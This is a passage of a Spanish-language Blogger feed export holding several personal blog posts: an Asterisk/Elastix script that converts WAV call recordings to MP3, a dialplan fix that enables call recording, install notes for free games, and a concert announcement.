software'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/__2CpOkNZ4-k/THhberc8eoI/AAAAAAAAATs/539MY-XJ9vk/s72-c/softwarewars.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7714407206504792519</id><published>2010-08-19T19:28:00.000-07:00</published><updated>2010-08-20T17:17:07.662-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Bio</title><content type='html'>&lt;div class="code"&gt;int main(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;i.born(); &amp;nbsp; /* twenty five years ago and some months...*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;while(i.alive_enough){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;i.eat ();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;i.float();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (i.have.lucky(Random.Rnd())==True){ i.have.Sexy_Time("!"); }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;i.sleep();&lt;br /&gt;&amp;nbsp;&amp;nbsp;}; # now&lt;br /&gt;&amp;nbsp;&amp;nbsp;i.die(); /*i hope not to soon...*/&lt;br /&gt;}&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7714407206504792519?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7714407206504792519/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/08/bio.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7714407206504792519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7714407206504792519'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/08/bio.html' title='Bio'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8275444712864208096</id><published>2010-08-19T19:27:00.000-07:00</published><updated>2010-08-19T19:47:54.690-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elastix'/><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Como convertir grabaciones de asterisk wav en mp3</title><content type='html'>En el siguiente lugar encontre como convertir las grabaciones de &lt;a href="http://asterisk.org/"&gt;asterisk&lt;/a&gt;(&lt;a href="http://elastix.org/"&gt;elastix&lt;/a&gt;) de wav a mp3: &lt;a href="http://www.thiscoolsite.com/?p=73"&gt;http://www.thiscoolsite.com/?p=73&lt;/a&gt; en este deja un script que no me gusto mucho y lo modifique a mis necesidades.&lt;br /&gt;&lt;br /&gt;Necesitamos bajar el conversor lame &lt;a href="http://lame.sourceforge.net/"&gt;http://lame.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Compilamos...&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$./configure&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$make&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#make install&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#cd /usr/local/bin/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego baje el script de: &lt;a href="http://www.blogger.com/goog_531238285"&gt;http://www.thiscoolsite.com/scripts/convertwav/convert_re&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cordings.sh/"&gt;cordings.sh&lt;/a&gt; en &lt;span class="Apple-style-span" style="color: lime;"&gt;/usr/local/bin/convert_recordings.sh&lt;/span&gt; y lo modifique.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;lame=/usr/local/bin/lame&lt;br /&gt;recorddir="/var/spool/asterisk/monitor"&lt;br /&gt;cd $recorddir&lt;br /&gt;&lt;br /&gt;#para cada wav en el directorio dado...&lt;br /&gt;for i in `ls $recorddir/*.wav`; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;#leo la fecha del archivo antes de modificar.&lt;br /&gt;&amp;nbsp;&amp;nbsp;date=`ls --full-time $i | awk '{print $6,$7}'`&lt;br /&gt;&amp;nbsp;&amp;nbsp;#convierto el archivo wav en mp3&lt;br /&gt;&amp;nbsp;&amp;nbsp;$lame -f -o --silent "-b 16 -m m -q 9 --resample 8" $i&lt;br /&gt;&amp;nbsp;&amp;nbsp;mp3=`echo $i | sed 's/.wav/.mp3/g'`&lt;br /&gt;&amp;nbsp;&amp;nbsp;mv "$i.mp3" $mp3&lt;br /&gt;&amp;nbsp;&amp;nbsp;#estampo la fecha anterior a la modificacion..para no tener problemas con freepbx&lt;br /&gt;&amp;nbsp;&amp;nbsp;touch -d "$date" "$mp3"&lt;br /&gt;&amp;nbsp;&amp;nbsp;rm $i&lt;br /&gt;done&lt;/div&gt;&lt;br /&gt;Por ultimo le di permisos de ejecución como everybody y lo agregue al cron&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#chmod +x convert_recordings.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para agregarlo al &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/crontab&lt;/span&gt; agregamos la siguiente linea&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;0 5&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;* * *&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;asterisk /usr/local/bin/convert_recordings.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y listo tenemos todas las madrugadas las grabaciones del dia en formato mp3 cosa que &lt;a href="http://freepbx.org/"&gt;freepbx&lt;/a&gt; entiende sin problemas porque es independiente del formato y extension de la grabacion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8275444712864208096?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8275444712864208096/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/08/como-convertir-grabaciones-de-asterisk.html#comment-form' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8275444712864208096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8275444712864208096'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/08/como-convertir-grabaciones-de-asterisk.html' title='Como convertir grabaciones de asterisk wav en mp3'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1964550099662536367</id><published>2010-07-30T13:47:00.000-07:00</published><updated>2010-07-30T13:52:27.905-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elastix'/><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Como habilitar la grabacion de llamadas en Elastix</title><content type='html'>&lt;a href="http://www.elastix.org/"&gt;Elastix&lt;/a&gt; es un appliance de &lt;a href="http://www.asterisk.org/"&gt;Asterix&lt;/a&gt; que viene completito para ponerlo a funcionar, pero le falta pulir un poco.&lt;br /&gt;Hace tiempo que ando jugando con el en mi trabajo y se me presento la necesidad de grabar las llamadas pero a pesar de que lo configure correctamente en el webgui esta funcionalidad no&amp;nbsp;cumplía&amp;nbsp;con su&amp;nbsp;propósito.&lt;br /&gt;&lt;br /&gt;Asi que me puse a investigar y parece que en el archivo: &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asterisk/extensions_additional.conf&lt;/span&gt; hay un macro:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[macro-record-enable]&lt;br /&gt;include =&amp;gt; macro-record-enable-custom&lt;br /&gt;exten =&amp;gt; s,1,MacroExit()&lt;/div&gt;&lt;br /&gt;Este macro es el que se encarga de grabar las llamadas pero lo unico que hace es llamar a otro macro que no se encuentra por ningun lado :S&lt;br /&gt;&lt;br /&gt;Entonces investigue un poco y encontre este codigo:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;[macro-record-enable]&lt;br /&gt;exten =&amp;gt; s,1,GotoIf($[${LEN(${BLINDTRANSFER})} &amp;gt; 0]?2:4)&lt;br /&gt;exten =&amp;gt; s,2,ResetCDR(w)&lt;br /&gt;exten =&amp;gt; s,3,StopMonitor()&lt;br /&gt;exten =&amp;gt; s,4,AGI(recordingcheck,${STRFTIME(${EPOCH},,%Y%m%d-&lt;br /&gt;%H%M%S)},${UNIQUEID})&lt;br /&gt;exten =&amp;gt; s,5,Noop()&lt;br /&gt;exten =&amp;gt; s,6,Set(CALLFILENAME=OUT-${CALLERID(number)}-${UNIQUEID})&lt;br /&gt;exten =&amp;gt; s,7,Goto(999)&lt;br /&gt;exten =&amp;gt; s,999,MixMonitor(${CALLFILENAME}.wav)&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Lo grabe en el mismo archivo, ejectute asterisk -rx "reload" y voila tenia grabacion de llamadas.&lt;br /&gt;Pero el webgui pisa este archivo cada vez que hacemos un cambio entonces investigando mas:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;;************************** &amp;nbsp;-WARNING- &amp;nbsp;****************************************&lt;br /&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; This include file is to be used with extreme caution. In almost all cases &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; any custom dialplan SHOULD be put in extensions_custom.conf which will &amp;nbsp; &amp;nbsp; &amp;nbsp; *&lt;br /&gt;; not hurt a FreePBX generated dialplan. In some very rare and custom &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; situations users may have a need to override what FreePBX automatically &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; generates. If so anything in this file will do that. &amp;nbsp;If you come up with a &amp;nbsp;*&lt;br /&gt;; situation where you need to modify the existing dialplan or macro, please &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; put it here and also notify the FreePBX development team so they can take it *&lt;br /&gt;; into account in the future. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;#include extensions_override_freepbx.conf&lt;br /&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;;************************** &amp;nbsp;-WARNING- &amp;nbsp;****************************************&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Este es el archivo que hay que modificar la webgui no lo pisa.Así&amp;nbsp;que agregue exactamente lo mismo en ese archivo problema solucionado.&lt;br /&gt;&lt;br /&gt;Ref [&lt;a href="http://www.elastix.org/es/component/kunena/25/24374/"&gt;http://www.elastix.org/es/component/kunena/25/24374/&lt;/a&gt;]&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1964550099662536367?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1964550099662536367/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/07/como-habilitar-la-grabacion-de-llamadas.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1964550099662536367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1964550099662536367'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/07/como-habilitar-la-grabacion-de-llamadas.html' title='Como habilitar la grabacion de llamadas en Elastix'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4524647581266689848</id><published>2010-07-28T18:03:00.000-07:00</published><updated>2010-07-28T18:07:46.701-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='juegos'/><category scheme='http://www.blogger.com/atom/ns#' term='warsow'/><title type='text'>Juegos GPL: Warsow</title><content type='html'>&lt;a href="http://www.warsow.net/"&gt;Warsow&lt;/a&gt; es un FPS resultante de la combinacion entre multimedia con copyright con el motor gráfico &lt;a href="http://sourceforge.net/projects/l33t/"&gt;qfusion&lt;/a&gt; que es el resultado del motor de&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Quake_II"&gt;Quake2&lt;/a&gt; que fue liberado hace tiempo bajo &lt;a href="http://www.gnu.org/licenses/licenses.es.html"&gt;gpl&lt;/a&gt;&amp;nbsp;con algunas modificaciones.&lt;br /&gt;&lt;br /&gt;Este motor fue elegido&amp;nbsp;porque se buscaba que la experiencia de juego fuese como estar dentro de un cartoon y no lo mas realista posible como hoy en&amp;nbsp;día&amp;nbsp;apuntan la&amp;nbsp;mayoría&amp;nbsp;de los juegos de computadora.&lt;br /&gt;Para esto se mezclaron texturas de bajo detalle con efectos minimalistas pero bien ambos definidos con colores primarios.&lt;br /&gt;Para lograr todo esto simplemente se le efectuaron unos pocos cambios al motor como soporte de shaders.&lt;br /&gt;&lt;br /&gt;El estilo de este juego me hace acordar a las peliculas animadas TitanAE y Heavy metal 2000.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/__2CpOkNZ4-k/TFDQog965UI/AAAAAAAAATU/QMuKEyNCMQk/s1600/warsow4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/__2CpOkNZ4-k/TFDQog965UI/AAAAAAAAATU/QMuKEyNCMQk/s320/warsow4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para instalarlo:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install warsow&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O podemos visitar la pagina de &lt;a href="http://www.warsow.net/?page=download"&gt;descargas&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4524647581266689848?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4524647581266689848/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/07/juegos-gpl-warsow.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4524647581266689848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4524647581266689848'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/07/juegos-gpl-warsow.html' title='Juegos GPL: Warsow'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/__2CpOkNZ4-k/TFDQog965UI/AAAAAAAAATU/QMuKEyNCMQk/s72-c/warsow4.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4516606918549722369</id><published>2010-07-08T21:09:00.000-07:00</published><updated>2010-10-03T15:33:32.988-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='toques'/><category scheme='http://www.blogger.com/atom/ns#' term='metal'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Therion en montevideo</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/__2CpOkNZ4-k/TDafcMDH8YI/AAAAAAAAATM/VKjRxe86TBs/s1600/9f89cfb7cc11a3ea5a75a04ea3af99ef_full.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="305" src="http://4.bp.blogspot.com/__2CpOkNZ4-k/TDafcMDH8YI/AAAAAAAAATM/VKjRxe86TBs/s400/9f89cfb7cc11a3ea5a75a04ea3af99ef_full.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si señores desde se nos viene desde Suecia la banda de metal sinfonico&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Therion_(band)"&gt;Therion&lt;/a&gt;.&lt;br /&gt;Van a estar el 2 de Octubre de este año en el Teatro plaza.&lt;br /&gt;En la &lt;a href="http://www.megatherion.com/Tour.xhtml"&gt;pagina oficial&lt;/a&gt; de la banda pueden encontrar que la venida esta confirmada.&lt;br /&gt;Buenísimo! me quede sin palabras...&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;"2010-10-02 Uruguay Montevideo Gran Teatro Plaza Confirmed"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Les dejo un videito disfrutenlo...&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_o6lX_qdlLI&amp;amp;hl=es_ES&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/_o6lX_qdlLI&amp;amp;hl=es_ES&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4516606918549722369?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4516606918549722369/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/07/therion-en-montevideo.html#comment-form' title='21 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4516606918549722369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4516606918549722369'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/07/therion-en-montevideo.html' title='Therion en montevideo'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__2CpOkNZ4-k/TDafcMDH8YI/AAAAAAAAATM/VKjRxe86TBs/s72-c/9f89cfb7cc11a3ea5a75a04ea3af99ef_full.jpg' height='72' width='72'/><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4370636135844990544</id><published>2010-07-04T17:37:00.000-07:00</published><updated>2010-07-04T17:41:10.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Asi da gusto!</title><content type='html'>Tengo que admitir que el futbol no me gusta mucho pero me contagie de la fiebre del mundial.&lt;br /&gt;&lt;br /&gt;En el sitio de &lt;a href="http://presidencia.gub.uy/"&gt;presidencia.gub.uy&lt;/a&gt; encontré este vídeo que me pareció muy emotivo y lo quiero compartir con ustedes.&lt;br /&gt;&lt;br /&gt;&lt;object height="240" id="flvPlayer" width="320"&gt;     &lt;param name="movie" value="http://www.osflv.com/OSplayer.swf" /&gt;&lt;param name="FlashVars" value="&amp;movie=http://www.presidencia.gub.uy/sci/video/2010/07/asi_da_gusto.flv&amp;fgcolor=0x333333&amp;bgcolor=0x999999"&gt;&lt;embed src="http://www.osflv.com/OSplayer.swf" flashvars="&amp;movie=http://www.presidencia.gub.uy/sci/video/2010/07/asi_da_gusto.flv&amp;fgcolor=0x333333&amp;bgcolor=0x999999" width="480" height="320" type="application/x-shockwave-flash"&gt;     &lt;/embed&gt;  &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4370636135844990544?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4370636135844990544/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/07/asi-da-gusto.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4370636135844990544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4370636135844990544'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/07/asi-da-gusto.html' title='Asi da gusto!'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1362015427578520297</id><published>2010-06-27T21:39:00.000-07:00</published><updated>2010-06-27T21:39:57.865-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='juegos'/><category scheme='http://www.blogger.com/atom/ns#' term='XO'/><title type='text'>Se acuerdan del Sim City???</title><content type='html'>Hace mucho mucho tiempo existía un juego simulador que se llamaba Sim City, el cual hace poco fue liberado bajo licencia GPLv3 con el nombre &lt;a href="http://en.wikipedia.org/wiki/Micropolis_(video_game)"&gt;Micropolis&lt;/a&gt;. Este se encuentra empaquetado para la &lt;a href="http://wiki.laptop.org/go/Micropolis"&gt;Xo&lt;/a&gt; del plan ceibal e incluso para debian.&lt;br /&gt;&lt;br /&gt;Se puede instalar con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install micropolis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;o para la xo: &lt;a href="http://wiki.laptop.org/images/3/3e/Micropolis-8.xo"&gt;Micropolis-8.xo&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;También existe un proyecto de similar características que pretendía emular este juego que se llama &lt;a href="http://lincity-ng.berlios.de/"&gt;lincity-ng&lt;/a&gt; el cual también podemos instalar con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install lincity-ng&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Micropolis&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c8/Micropolis_-_empty_map.png/250px-Micropolis_-_empty_map.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c8/Micropolis_-_empty_map.png/250px-Micropolis_-_empty_map.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lincity-ng&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TCglBhldNWI/AAAAAAAAATE/dYUSC-nlUhk/s1600/lincity-ng.preview.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TCglBhldNWI/AAAAAAAAATE/dYUSC-nlUhk/s320/lincity-ng.preview.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1362015427578520297?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1362015427578520297/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/06/se-acuerdan-del-sim-city.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' 